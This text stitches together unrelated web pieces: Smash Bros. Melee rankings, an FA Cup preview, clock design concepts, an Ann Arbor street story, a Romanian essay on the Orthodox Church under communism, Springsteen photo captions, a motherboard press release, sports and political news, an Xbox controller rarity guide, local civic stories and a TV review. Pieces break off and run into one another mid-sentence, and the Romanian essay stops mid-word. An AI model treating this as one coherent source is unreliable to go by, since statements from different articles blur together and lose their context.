Anaheim CEO 2014 Evo 2014 The Big House 4 33rd – – – – Summary: Popular streamer, speedrunner and top UK Fox player, Fuzzy has proven to be a major threat in all of Europe with his extensive game knowledge and smart play. Rank Smash Studios \| Joshua “s0ft” Davis \| @ss_s0ft Score 64 (NEW) Main(s) Jigglypuff Region: Georgia 7.141 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 7th 17th – 49th – Summary: s0ft seemed to go from a nobody to a somebody overnight. Being a Jigglypuff main from Georgia, s0ft has been active in the scene for many years. But it wasn’t until Apex 2014 that s0ft really made an impact, defeating Hax, double eliminating Ice, and eventually placing 7th. s0ft continued a successful 2014 by traveling to 5 MLG Anaheim qualifiers and placing well at all of them, earning himself a spot in the Professional Pool. He also placed 7th at Tipped Off 10, continually making a name for himself in his home, The South, as well as across the United States. His fearsome Jigglypuff, and solid Fox and Sheik prove that The South is nothing to be slept on. Rank Versus \| Elam “Beer Man (Lambchops)” Ucles Score 63 (NEW) Main(s) Falco Region: Florida 7.148 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 – – – 33rd – Summary: Veteran of both the Florida and New York scene, Beer Man has been an excellent Falco for many years, recently making a reappearance after a somewhat retirement, defeating KoreanDJ and SilentSpectre at Evo 2014. Rank Anthony “Slox” Detres \| @Slox_ Score 62 (NEW) Main(s) Fox, Falcon Region: New England 7.148 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 97th – – – – Summary: One of the few players that can boast about hard work paying off. Slox puts in long hours in the lab to optimize his technical ability and move selection and has risen to the top of the New England scene as #1 in their latest Power Rankings. Rank Darrell “Darrell” White \| @darrellsamus Score 61 (64) Main(s) Samus Region: NorCal 7.162 Tourney Results Apex 2014 MLG Anaheim CEO 2014 Evo 2014 The Big House 4 49th – – 33rd 49th Summary: Arguably the most exciting Samus to watch. With his use of bombs and down-airs to deteriorate people’s shields, Darrell constantly innovates new ways to work around Samus’ shortcomings to win otherwise difficult match-ups. SSBMRank 2014: 100-91 \| 90-81 \| 80-71\|70-61 \|60-51 \| 50-41 \| 40-31 \| 30-26 \|25-21 \| 20-16 \|15-11 10 \| 9 \| 8 \| 7 \| 6 \| 5 \| 4 \| 3 \| 2 \| 1FC Halifax Town manager Neil Aspin says his side are looking forward to their FA Cup First Round clash with Bradford and a chance to put one over one of the biggest giant-killers of recent seasons. Bradford know all about cup upsets. Just two seasons ago they knocked out Premier League giants Arsenal and Aston Villa en route to the League Cup final, only for their fairytale to be crushed at the hands of Swansea City at Wembley. And in previous generations they have knocked Spurs out of The FA Cup and beaten Everton in the League Cup. FC Halifax Town v Bradford City The FA Cup First Round Proper 12pm, Sunday 9 November The Shay, Halifax Live on BT Sport Winning club will receive £18,000 Fellow Yorkshire club Halifax have not fared so well, however. Since reforming as FC Halifax Town in 2008, they have failed to get past the First Round of The FA Cup. Before that, the original Shaymen reached The FA Cup Fifth Round in both 1933 and 1953. They faced League One opposition at this stage in the competition last season when MK Dons ran out comfortable 4-1 winners. Aspin said: “We’re looking forward to the game but when one Bradford player earns more than our whole squad we have to remain realistic. “We are only part-time so we only train a couple of times a week. We’ve had good experience on TV in the last few years, it helps raise the profile of the game but once you’re on the pitch you forget the cameras are there." The Bantams have had a slow start to the season, currently 14th in League One and are winless in their previous five games. The Shaymen, though, are going well in the Conference, currently third in the table and will hope to go one better after last season’s Play-Off defeat to Cambridge. Aspin added: “An FA Cup run would be good for everyone, the club, the fans and the board but the league is our main focus. "We performed exceptionally well last season to get in the Play-Offs and need to do the same if we are going to repeat that this year."Our friend Paul Cooper from Tokyoflash sent us pictures of a bunch of concept clock designs this morning that may be manufactured by his company in the near future. To help Paul out, we’re posting what we consider the best designs, and would love to hear your thoughts about them. Which one would you be interested in purchasing. Why? Which ones do you hate? Let us know in the comments section. Design A -Upright ambient light -Option to increase brightness by lighting more bars -Displays the time through a light animation Design B – Ambient table lamp – Clock feature within light – Subtle textural design with animation Design C – Desktop clock with original display – Calendar and date function – Multiple time zone display Design D – Clock with light and ipod connection – Speakers on underside of light and clock display or equalizer on top – Can be positioned on desk or wall Design E – Clock with ambient light function – Can be positioned on floor, desk or wall – Displays hours, minutes and seconds on the arms Design F – Clock with original light function – Can stand in two different positions – Moves between clock and light functions by rotating head Design G – Clock with ipod dock – Speakers are positioned behind clock numbers – Sound comes from between the clock numbers Design I – Clock with hidden ipod dock and speakers – LED backlit original LCD display – Operated from the topANN ARBOR, MI - A brick street believed to be more than a century old in Ann Arbor's Kerrytown district is seeing the light of day for the first time in many years. As part of a city repaving project along Catherine Street, crews recently scraped off the street's asphalt surface, revealing a two-block stretch of brick still intact from Main Street to Fifth Avenue. The exposed relic from Ann Arbor's past has been attracting attention this week and historic preservationists have raised the question of whether the bricks should be restored. "They are a part of the 1900 streetcar route that extended down North Main to Catherine and then Detroit Street to the Depot Railroad station," local historian Ray Detter wrote in an email. "I think they need to remain a part of the Kerrytown/Market area." "I certainly think that our historic brick streets should be restored," added Christine Crockett, president of the Old Fourth Ward Association in the adjacent historic neighborhood. "Let's hope we can save the bricks!" wrote local historian Susan Wineberg, who lives nearby on Ann Street. Robert Kellar, a spokesman for the city's public services unit, said the Catherine Street project is a simple resurfacing and the asphalt that was removed will be replaced with asphalt. Not too many of downtown Ann Arbor's brick streets from a century past are visible anymore. Detroit Street and parts of North State Street and North Fourth Avenue are still brick, but asphalt became the preferred material for street surfaces decades ago and other brick streets in downtown Ann Arbor were covered with asphalt. Photos from The Ann Arbor News archives show a A few years ago, work on Washington Street exposed a . And as part of work on Huron Street, crews under the asphalt a few years ago. Many of the recently uncovered bricks along Catherine Street appear in good condition, while some appear to have been damaged in the process of scraping off the asphalt. See the 19 winners of Ann Arbor's 2017 historic preservation awards Ann Arborites who've helped preserve some of the character, charm and architectural history of the city are being recognized. See historical and current views from Ann Arbor's tallest building At 26 stories tall, Tower Plaza offers quite a view of the city.Tweet Pentru Robi. Cu toţii ştim că Biserica Ortodoxă a fost persecutată de comunişti, nu-i aşa? La radio sau la televizor, în presă sau pe Internet, Biserica este descrisă, aproape invariabil, drept o victimă a regimului “ateu” venit la putere după război. “Credinţa românilor a fost pusă la grea încercare în perioada comunistă. Preoţii au fost întemniţaţi, au fost dărîmate biserici, sărbătorile religioase au fost trecute în umbră.” ne anunţă Evenimentul Zilei.[1] Cu atît mai mult, mass media ortodoxă abundă în astfel de referinţe. “În perioada comunistă Biserica se confrunta cu o persecuţie pe faţă a regimului ateu marxist-leninist” (Ziarul Lumina).[2] Înainte de ’89 Biserica “a trebuit să facă față atacurilor furibunde ale comuniștilor atei” (Doxologia).[3] “În acele vremuri grele, Biserica Ortodoxă Română și alte culte religioase au fost supuse multor presiuni, intimidări, opreliști, restricții și persecuții, care s-au soldat cu multe victime și multă suferință fizică și morală.” (site-ul oficial al Patriarhiei BOR)[4] Mai că iţi vine să-i crezi… Sînt născut în 1968, aşa că am prins două decenii de “binefaceri” ale comunismului; le-am trăit pe viu. Toata copilăria am pendulat între Bucureşti (de unde ne trăgeam) şi Curtea de Argeş (unde lucrau părinţii mei şi unde am făcut şcoala); ştiu cum arătau şi oraşele mici, şi capitala, am văzut şi mînăstiri ortodoxe, şi biserici evanghelice, şi catedrale catolice. Iar cultele (cu excepţia notabilă a greco-catolicilor) o duceau cît puteau de bine; în particular, Biserica Ortodoxă numai drept “persecutată” nu putea fi descrisă… Vreau să fac o precizare. Nu contest demolările de biserici din anii ’80 sau arestările motivate religios din anii ’50, dar aceste fenomene trebuie puse în contextul perioadei. Biserica a suferit în comunism, dar în comunism am suferit cu toţii. Voi reveni asupra acestui subiect. Credeţi că te împiedica cineva să te duci la biserică? Că dacă erai credincios trebuia să te rogi pe ascuns? Cînd prin ’84 sau ’85 am vrut să-mi fac abonament la Biblioteca Franceză, toată lumea a sărit ca arsă că “o să-mi rămînă la dosar“; în schimb, cu mersul la biserică nu-şi făcea nimeni probleme. Bunicul meu se ducea liniştit, în fiecare duminică, la slujbă; nu-l pîndea nici un securist fioros ca să-l acuze de “atitudine mistico-religioasă“. În Bucureşti, la concertele de colinde de la Sf. Spiridon era o înghesuială cumplită; de Paşte, la mînăstirea Curtea de Argeş, slujba se asculta de către mii de oameni, în curte, la megafon, iar la Înviere se mergea en masse, cu clasa. Ce să mai zic, că în timpul slujbei, tata popa nazaliza vîrtos: “Pentru sănătaaaatea tovaaaarăşului Ceauşescu să ne rugăaaaaaam!“? Cînd ţi-era lumea mai dragă, te trezeai cu popa la uşă “cu icoana”. Credeţi că se deghizau şi se strecurau pe înserat, cu frica-n suflet? Doamne fereşte! Umblau cîte doi pe strada – un preot şi un diacon, ziua în amiaza mare, unul cu icoana, celălalt cu găleata cu agheazmă, şi luau blocurile la rînd, scară după scară şi apartament după apartament. Tare prigoniţi mai erau! La fel de “prigonite” erau şi mînăstirile. În ’86 am vizitat mai multe mînăstiri din Vîlcea (Horezu, Mînăstirea Dintr-un Lemn, Surpatele ş.a.m.d.). Era un şoc enorm să treci prin sate de o sărăcie lucie, cu case din chirpici care abia se mai ţineau ca apoi să dai de opulenţa mînăstirilor. Ce să vezi, sub regimul “comunist ateu“, spre deosebire de ţăranii băgaţi cu forţa în cooperative, călugării îşi păstraseră o parte din pămînturi! În anii ’80, Ceauşescu a venit de vreo două ori la Curtea de Argeş. Unde credeţi că a stat? La Primărie? În brav
, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 65 of 82 Image 66 of 82 Concert goers gather before the start of the Bruce Springsteen concert at the Toyota Center Wednesday, April 8, 2009, in Houston. Concert goers gather before the start of the Bruce Springsteen concert at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 67 of 82 A Bruce Springsteen concert ticket is checked before the start of the performance at theToyota Center Wednesday, April 8, 2009, in Houston. A Bruce Springsteen concert ticket is checked before the start of the performance at theToyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 68 of 82 Concert tickets are checked before the start of the Bruce Springsteen performance at theToyota Center Wednesday, April 8, 2009, in Houston. Concert tickets are checked before the start of the Bruce Springsteen performance at theToyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 69 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 70 of 82 Image 71 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 72 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 73 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 74 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 75 of 82 Image 76 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 77 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 78 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 79 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston Chronicle Image 80 of 82 Image 81 of 82 Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Bruce Springsteen and the E Street Band perform at the Toyota Center Wednesday, April 8, 2009, in Houston. Photo: Michael Paulsen / Houston ChronicleGIGABYTE TECHNOLOGY Co. Ltd, a leading manufacturer of motherboards and graphics cards, has released the new GIGABYTE Z370N WIFI motherboard based on the Intel Z370 chipset. The new motherboard incorporates powerful performance capabilities within a compact design to provide users with a versatile motherboard for building their ideal PCs.The GIGABYTE Z370N WIFI motherboard is optimized to support 8th Gen. Intel Core Processors. For a mini-ITX form factor, this motherboard can truly maximize the power of the Intel Core i7-8700K processors by easily reaching overclocked frequencies of 5GHz and higher. The motherboard uses an Intersil Hybrid Digital VRM design to ensure that power is distributed effectively, enabling the GIGABYTE Z370N WIFI to perform at its highest standards. Additionally, over 1000 memory modules have been validated by GIGABYTE to ensure proper compability with support for XMP profiles up to a frequency of 4600MHz when overclocked.RGB Fusion Technology adds an incredible amount of style and customizability to the Z370N WIFI motherboards. With support for up to 300 Digital 5V or 12V LED strips, the motherboard allows the user to individually address the color and brightness of each of the strips, bringing exquisite lighting configurations to life.Versatility is a key aspect of the GIGABYTE Z370N WIFI motherboard. Its compact size allows for smaller, feature packed builds and can be used in a multitude of user configurations. The feature rich back panel furthers adds to the versatility of the motherboard by offering both Dual Intel GbE with cFossSpeed and Dual Band 802.11ac Intel Wireless connectivity. It also offers seven USB 3.1 Gen 1 ports, one of which is an USB Type-C connector. Bifurcation support, a rare but highly valuable feature, is included on the motherboard and offers the ability to make the most out of the PCIe x16 slot. With the use of a riser card, the slot can be utilized as multiple slots to satisfy user's expansion requirements.The Dual M.2 PCIe NVMe design enables fast storage solutions to be used in such a small form factor motherboard, with each slot providing up to 32 Gb/s of bandwidth for data transfer speeds. It brings RAID capability and the performance potential of two NVMe SSDs working in tandem to ensure that users' high demands for storage performance are fulfilled. Users can be assured that the motherboard's M.2 Thermal Guard can keep their storage devices cool and protected from thermal throttling.From the vast amount of display outputs on the back of the GIGABYTE Z370N WIFI, users can enjoy pristine triple 4K Ultra HD displays. This motherboard comes with a DisplayPort which provides High Dynamic Range (HDR) video and HDMI 2.0a which provides both HDR video as well as support for the cinematic 21:9 aspect ratio, enabling users to savor the ultimate viewing experience. The GIGABYTE Z370N WIFI is sure to satisfy the entertainment needs of those seeking immersive three 4K monitor configurations.For more details, please visit the official GIGABYTE website: https://www.gigabyte.com/After battling a neck injury throughout the 2014 season, Jason Dufner had a tough decision to make. "If I didn't do it, I wasn't going to be able to play golf," Jason Dufner said of his weight loss last month. "I missed the playoffs, missed the defense of my PGA Championship. More than likely missed playing in the Ryder Cup because of it. So, not really ready to give the game of golf up yet." And so Dufner knuckled down. He didn't really change his workout plan but he completely overhauled his diet, which he says is 80 percent of the reason for his weight loss. He went 11 straight weeks without any fast food, chocolate or peanut butter, and continues pretty much gluten-free nowadays: No sugar, processed foods, alcohol or soda. He lost 20 pounds in all. "The first five days sucked," Dufner said. "I felt terrible, I laid in bed for five days, literally. Headaches and not feeling good. But trying to get all that toxin out of you." But on the plus side, he looks great! Stephanie Wei snapped a picture of Dufner on the range of the Honda Classic looking like a new man. Here's @JasonDufner's new look.... "@thepyrexkid : @StephanieWei can we get some visual evidence?!" pic.twitter.com/EwPplqCXwR — Stephanie Wei (@StephanieWei) February 24, 2015 And just to put things in perspective, here's that same picture of him alongside one of him snapped in late 2013. Follow @lukekerrdineenParliament today unanimously passed two bills increasing the remuneration and privileges of the president and the prime minister. Agriculture Minister Matia Chowdhury, also in-charge of the cabinet division in parliamentary affairs, placed the bills styled “The President’s (Remuneration and Privileges) (Amendment) Bill 2016” and “The Prime Minister (Remuneration and Privileges) (Amendment) Bill 2016” before the House. With Speaker Shirin Sharmin Chaudhury in the chair, the House passed the bills by voice votes rejecting all the amendment motions placed by the opposition lawmakers. As per the bill, the president will get Tk 1.20 Lakh while Prime Minister Sheikh Hasina will get Tk 1.15 lakh as salary. At present, President Abdul Hamid draws Tk 61,200 while the PM draws Tk 58,600. Besides, other allowances, including daily allowance and conveyance of the president and the PM have also been increased. Placing the bills, the minister said it was necessary to revise the remuneration and benefits of the president and the prime minister considering the socio-economic situation.Vettel has not finished on the podium in the last four grands prix as Red Bull has overtaken Ferrari in the constructors' championship, the Milton Keynes team now 14 points ahead. The German driver is 97 points behind Lewis Hamilton in the standings with nine races remaining. Vettel admitted the last few races have been very difficult for Ferrari, but he is optimistic that they at least have helped the team understand what needs focusing on to improve. "The last couple of races have been tough for us, but very, very useful, as we understood a lot about our car and we know what to focus on," said Vettel. "It wasn't entirely clear after the first couple of races but it became more and more evident. "Obviously it's a harsh way to find out, not being as competitive as we want to, but I think we know what to do. "It's not easy to change overnight but there is a plan and the second half should be stronger in that regard." He added: "The last couple of races have been tougher for us and better for them [Red Bull], but I'm sure the second half will be better for us again and we'll be more competitive." Vettel finished his home grand prix in fifth position, over 30 seconds behind race winner Hamilton. The German conceded Ferrari simply did not have the pace to do better. "Certainly not happy. Obviously racing at home is something special and in that regard it wasn't a special race. "I think struggled to get the balance right and the car was sliding a little bit too much, which cost us a bit of life on the tyres. To sum it up, we were not quick enough. "Unfortunately we were a bit too far form the cars in front, especially after the first two stints."Oh man, we love us some 360 controllers. They fit any size hands, unlike the Sony controllers, and despite the less-than-stellar stock d-pad they’re a dream to use. But it’s not just about functionality, it’s about collectability. And with 33 official Microsoft controllers to hunt down there’s no shortage of game for the hunter. But some controllers may only interest you from an aesthetic standpoint, and so in addition to a rarity rating for each controller we’ve also listed an availability level for replacement parts should you want to transform your existing controllers. So instead of buying an all new controller you can give that nasty, sticky-buttoned gamepad new life and a wicked shell. When searching for custom shell parts remember to stick with vendors that have high reputability or high eBay ratings. There are a lot of cheap knockoffs that look the same in a picture but fit poorly. As per our recent review, we recommend Quickdrawmods if you’re looking for shells that have a Low or above availability rating. Past that go for eBay sellers with high ratings (both in percentage and number of ratings). Also be sure to pick up a Torx T8 security bit screwdriver from whoever you buy your first shell from. It’s invaluable, and they’re usually dirt cheap. So without further ado we present the 32 Microsoft produced 360 controllers: row by row, left to right. UPDATE: Added a missing controller to bottom right of the above, along with a description below. Row 1 White – rarity: Ultra common; parts availability: Very high The staple. If you don’t have/haven’t had one of these lying around then you’re not a true 360 aficionado. And while these are no longer offered in brick-and-mortar stores new (being replaced by the S model) you can get them anywhere and everywhere else. Black – rarity: Extremely common; parts availability: Very high Second only to its white and grey brother the classic Black controller was first offered with the equally black toned Xbox 360 elite. These are a dime a dozen, and while they too have been replaced by the new S model it’s not hard to track one of these down. “Limited Edition” Red – rarity: Semi-common; parts availability: High Also known as the Resident Evil Red controller, these were offered both with a charge-n-play kit and as part of a special limited edition Resident Evil console. A lucky person can find one of these in their local used game store, but if you’re a sucker for red a better option would be to buy a replacement shell for an existing controller. Pink – rarity: Uncommon; parts availability: Low The Pink controller was offered along side either the American or Light Blue controller depending on the region. For some reason parts are much more rare than the American blue, though the parts can still be found “American” Blue – rarity: Semi-common; parts availability: High While not officially known as such, “American” Blue controllers were only offered in the states. The rest of the world got the Light Blue controller, which in turn was not available to America. Row 2 Green – rarity: Uncommon; parts availability: Low Bundled with Pro Evolution Soccer 2009, this controller has 16 way d-pad functionality instead of the standard 8. Not sure just how important that is, what with analog thumbsticks and all, but there you go. It’s not available in the states, making this little gem uncommon. Our recommendation, however, is just to hunt down a replacement shell instead of dropping more-than-retail price for it. Light Blue – rarity: Uncommon; parts availability: Very low This beauty was offered to the greater part of the world, but never in America. Finding even a Light Blue shell to replace an existing controller’s is difficult. If you’re a collector, one of these would make a great addition to the collection. Black S – rarity: Very common; parts availability: Very high The black S is essentially the same as the old model, with a few minor differences. The guide button now has an ultra cool chrome finish, the bottom plate is black, and the d-pad and thumbsticks are black. These are offered pretty much everywhere, so if you’re looking for one it’s best to buy it outright rather than re-shell one of your own controllers. White S – rarity: Fairly common; parts availability: High One of the newest common controllers on the market isn’t quite so common yet. These are offered in stores, but stock seems to be trickling out slowly. It won’t be hard to find one, but if you’re looking for four matching controllers you may be out of luck. Silver Transforming D-Pad – rarity: Semi-common; parts availability: Low There’s a love-hate relationship with this controller for most people. The cool d-pad addresses accuracy issues, but the thumbsticks lack the four small nubs that keep your thumbs grounded. We recommend picking up a replacement pair of thumbsticks and going old school. While you’re at it replace those ugly silver ABXY buttons with colored ones. It looks much better. Row 3 Black Transforming D-Pad – rarity: Uncommon; parts availability: Low Released just this past October the Black Transforming D-Pad controller is available only in a charge-n-play kit. It’s basically a Black S with a transforming d-pad in it. You can find aftermarket shells like this, or have it done to your original black controller, both for about half the price or less. Chrome C3P0 – rarity: Uncommon; parts availability: Low It’s Star Wars themed. That’s cool in and of itself. But it’s gold chrome, and that’s awesome. You also get the transforming d-pad and little 3P0-themed wires painted onto the bottom plate. It’s cool, but then again it was a Kinect Star Wars console exclusive. Unless you want to drop big money on a limited edition console odds are better looking for a custom gold chrome shell. Chrome Red, Blue and Silver – rarity: Uncommon; parts availability: Medium Released in May this year, these are available, but expensive. You’re better off buying an aftermarket shell. Frankly there’s a larger selection of chrome colors to dress up including this sweet Iron Man-themed shell. Row 4 Halo 3 Green – rarity: Uncommon; parts availability: High Originally bundled with the Halo 3 console you can find replacement Halo 3 Green shells just about anywhere on the web. Our recommendation is to create a look alike with one of your existing controllers. The real McCoy is not only hard to find, but drown amidst a sea of copycats. Halo 3 ODST – rarity: Rare; parts availability: Rare These controllers can still be found through resellers on the web or on the street, but you’ll be hard pressed to find one still in its packaging. Finding stock replacement parts is difficult as well, but some of our favorite resellers still have a few on their shelves if you just want to refresh the look of your old controller. Halo 3 Covenant and Halo 3 Spartan – rarity: Very rare; parts availability: Nonexistant If you’re a collector and you see one of these controllers, drop your money right then and there. These are very difficult to find, and you won’t find replacement shells to transform your old controller into something new. Halo Reach – rarity: Uncommon; parts availability: Rare These controllers were quite popular on store shelves or something, because these seem to be more available than most game-themed special edition controllers. They were reportedly available both with the limited edition Halo Reach console and separately, so that might have something to do with it. Sites that offer rapid fire conversions often keep these in stock as they seem to be a favorite amongst cheaters enthusiasts. You won’t find the shell separate anywhere, but if you’re itching for the controller you’re probably in luck. Row 5 Halo 4 UNSC – rarity: Rare; parts availability: Rare Technically speaking it’s still available via the Microsoft Store, but they’re rare because they won’t be around for very long. Resellers have been pulling the shells and selling them on eBay, but as of now all are sold, and some even went for more than the price of a new controller. Auctions apparently bring out the dumb in people. Halo 4 Forerunner – rarity: Very rare; parts availability: Nonexistant This is another ‘grab it if you see it’ controller. They were bundled with the limited edition Halo 4 console, and the last auction on eBay went for $105 USD. Rapid fire resellers will give you one, but you’ll pay up to 40% more of the eBay going price, and that’s an untouched model. Fable 3 – rarity: Very rare; parts availability: Mid-low This one is actually totally separate from the release of Fable 3. In fact, it came out close to three weeks prior to the game’s release. The only true Fable branding is a small roman numeral III at the bottom of the controller, so this is a great addition for someone who just wants a cool design. Oddly enough these shells can be found on eBay, and for a darn good price (about a fourth of what the controller itself might go for). Gears of War 3 – rarity: Very rare; parts availability: Very low It’s a Gears of War 3 controller. That’s a thing, right? This is only one of two non-Halo themed game controllers with a transforming d-pad, and it rocks a slick hydro-dipped paint scheme. You’ll pay a good chunk of money for it, though, and doing a shell-swap is unlikely. We don’t know of any place that has these replacement shells for sale. Modern Warfare 3 – rarity: Very rare; parts availability: Nonexistant The other non-Halo game shell that features a transforming d-pad, this controller is, personally speaking, much more slick. Even non-fans of the Call of Duty series have to admit that this controller turns heads. It is, however, yet another controller you won’t be able to shell-swap on. If you want this you’ll have to shell out the money for the real thing. Row 6 Radioactive – rarity: Very rare; parts availability: Nonexistant As near as we can tell this was exclusive to GameStop/EB Games. The red and black design is offset by awesome red and black thumbsticks. They aren’t sold any more, and you won’t find replacement parts. Dragon – rarity: Very rare; parts availability: Nonexistant Exclusive to Wal-Mart, and no longer made. As with the Radioactive these are unicorns and replacement parts can’t be found. Pretty, but impossible to find. Tomb Raider – rarity: Unknown; parts availability: Unknown Revealed shortly after this article was published, the Tomb Raider controller is the newest in the game-themed family. We don’t know yet how rare it will be or how quickly spare parts (shells) will show up in resellers’ stores. It is due out this March. Camo – rarity: Unknown; parts availability: Unknown Another Wal-Mart exclusive in the U.S., though unsurprising. We’re guessing this will sell well in the southern states. Kidding aside, it’s actually a pretty decent design, and includes the transforming d-pad. Outside of the states it will be available in “select regions”. Row 7 The Simpsons – rarity: Ultra rare; parts availability: Nonexistant Roughly 100 were made. They were bundled with a special Simpsons console. 99 are probably stored away in their respective owner’s fireproof safe. The last one some fool used as a ‘daily player’ controller. You can build something similar with third party yellow shells, but be aware that some distributors sell the cheaply molded versions. Launch team – rarity: Ultra rare; parts availability: Nonexistant Given to very select members of the Xbox 360 launch team alongside a matching console. If you get one, a glass case would be an appropriate means of display. Genuine parts are impossible to come by, but you can recreate something close with custom parts available through most online retailers. Live Turns Five – rarity: Ultra rare; parts availability: Nonexistant These were given only to select members of press and Microsoft on the fifth anniversary of Xbox Live. If you get one, keep it in its little protective baggie. 10th Anniversary – rarity: Ultra rare; parts availability: Nonexistant Given out recently to random members of Xbox LIVE who’d been faithful since the days of its inception. If you own one, resist the temptation to open the box. UPDATE: Reddit user GibGirl noted one controller was missing, the 2008 NXE Launch Team. It’s been added to the lead image, and the original can be viewed here. NXE Launch Team 2008 – rarity: Ultra rare; parts availability: Nonexistant This controller with a custom skin was given to the Xbox team responsible for creating the NXE in 2008. It also came with a matching faceplate. You’re unlikely to ever have one, so commit yourself to do without. Not pictured There are a handful of what might be considered insignificant variants of the above that the total purist may want to consider. There are two wired controllers, the classic white and the black S. Additionally some early white controllers had a different sheen to the bottom mic plate.At the end of 2016, NYC DOT completed work on the protected bike lane on Chrystie Street, a key connection between the Manhattan Bridge and the rest of the Manhattan bike network. The story of this bike lane is a case study in how good things happen when city officials are willing to listen to advocates with smart ideas. The two-way protected lane replaced a striped bike lane implemented in 2008. That design wasn't working -- cars, trucks, and buses constantly obstructed the bike lane, forcing thousands of cyclists each day to weave in and out of traffic. The concept for a two-way protected bikeway on the east side of the street was floated by volunteer Dave "Paco" Abraham in 2015, winning the support of the local community board and elected officials. Later that year, a group of anonymous activists calling themselves the "NYC Department of Transformation" placed traffic cones to keep the drivers out of the lane to spur action. NYC DOT listened and came up with a sensible plan -- and the Chrystie Street protected bike lane became official policy. If you like this video, check out the previous entry in our street transformations series: the Queensborough Bridge bike path.Image caption The Cowley Road Carnival was first held in 2001 and will return in 2013, organisers say A popular annual community event in Oxford has been cancelled to avoid "festival fatigue", say the organisers A statement from Cowley Road Carnival said competition from Diamond Jubilee celebrations and the Olympics led to the decision to cancel the 2012 event. Chairman John Hole said it was "proving very difficult" to organise events and raise funds within 12 months. He insisted the carnival, which attracted 20,000 people to South Park in July 2011, would return in 2013. The volunteer-run carnival began in 2001 as part of the regeneration of the Cowley Road area, however a lack of funds led to it being held at South Park rather than on the road in 2011. Despite concerns about the financing of the event, Mr Hole said it did make a small surplus. He said: "We want to avoid festival fatigue. We're really happy all of these other events are happening. "We can benefit from a longer planning period to return in 2013 with the schools and community procession, music performances and even more of the community-focused events that make carnival so magical."TV Reviews All of our TV reviews in one convenient place. I so thoroughly enjoyed everything about this episode of This Is Us for so many different reasons, but above all, it was well-balanced. It wasn’t overloaded with cheese, but it had its moments of drama, and there was just enough of the schmaltz that I watch this show for. Advertisement And, above all, it was funny. I’ve been thinking about why I will put up with the emotional manipulation that This Is Us is so good at, and has gotten even better at as the show has progressed. It’s because the show is funny, and takes the time to make a joke or throw in a one-liner without bashing us over the head with this forced emotion. It makes it all go down that much smoother, and makes those times when the music swells and we’re supposed to feel something—y’know really FEEL SOMETHING—seem earned. The humor also makes all of the characters inherently likable, and when certain characters forget that they can be funny—Kate, Rebecca, even Jack—the show itself loses its way. But the last few episodes in particular have done a good job of keeping that balance in its own way. Kevin has spent most of the series being the source of this humor, his quick wit and general anxiety contrasting his pretty boy facade. He’s no exception here, bringing bitchy Katie Couric into our collective lives (“Let’s get out of here. I’ve got to play tennis with Salman Rushdie.”). Before his play, he teems with nerves, even reaching out to Miguel for help in a scene that is both funny and sweet. Miguel tells Kevin that he reminds him of his best friend and that when he’s feeling unsure, he should remember that he’s Jack Pearson’s son. Advertisement But the patriarch he’s remembering is as much of a legend and an ideal as he can be a real person. It’s been established that Jack has his fantastic patriarchal qualities. But that sainthood often didn’t feel true to an ensemble full of characters with affable flaws, and it served to make Rebecca seem like this nagging bitch when, in fact, she wasn’t. But this episode began to break down that perfect visage in the way that the previous alcoholism reveal never really tried to do. Rebecca has a legitimate argument; she’s given up so much of her adult life to her family that she needs something for herself, even if it wasn’t convenient. At first, Jack seems so entirely progressive by making it easier for her to go. But he’s not being honest with himself or her, leading to their fight. It’s not her relationship with a band member that causes his walkout—that may be a symptom of his dissatisfaction, not a cause of it. “I was trying to be a good guy,” Jack tells Rebecca in their Valentine’s Day showdown. “I thought you deserved something for yourself,” he continues. “And now I don’t,” she responds. Instead of standing up and regrouping, figuring out how he will cope while she goes on a tour with a guy who she hasn’t dated since she was 19, he bails and buys a drink. But in Kevin’s mind, Jack Pearson doesn’t bail. Jack Pearson’s the consummate hero, and that’s okay because that’s the image Kevin needs to be the best man he can be, to figure that his brother is in pain and run to him, even if it means leaving Sloane alone on the stage 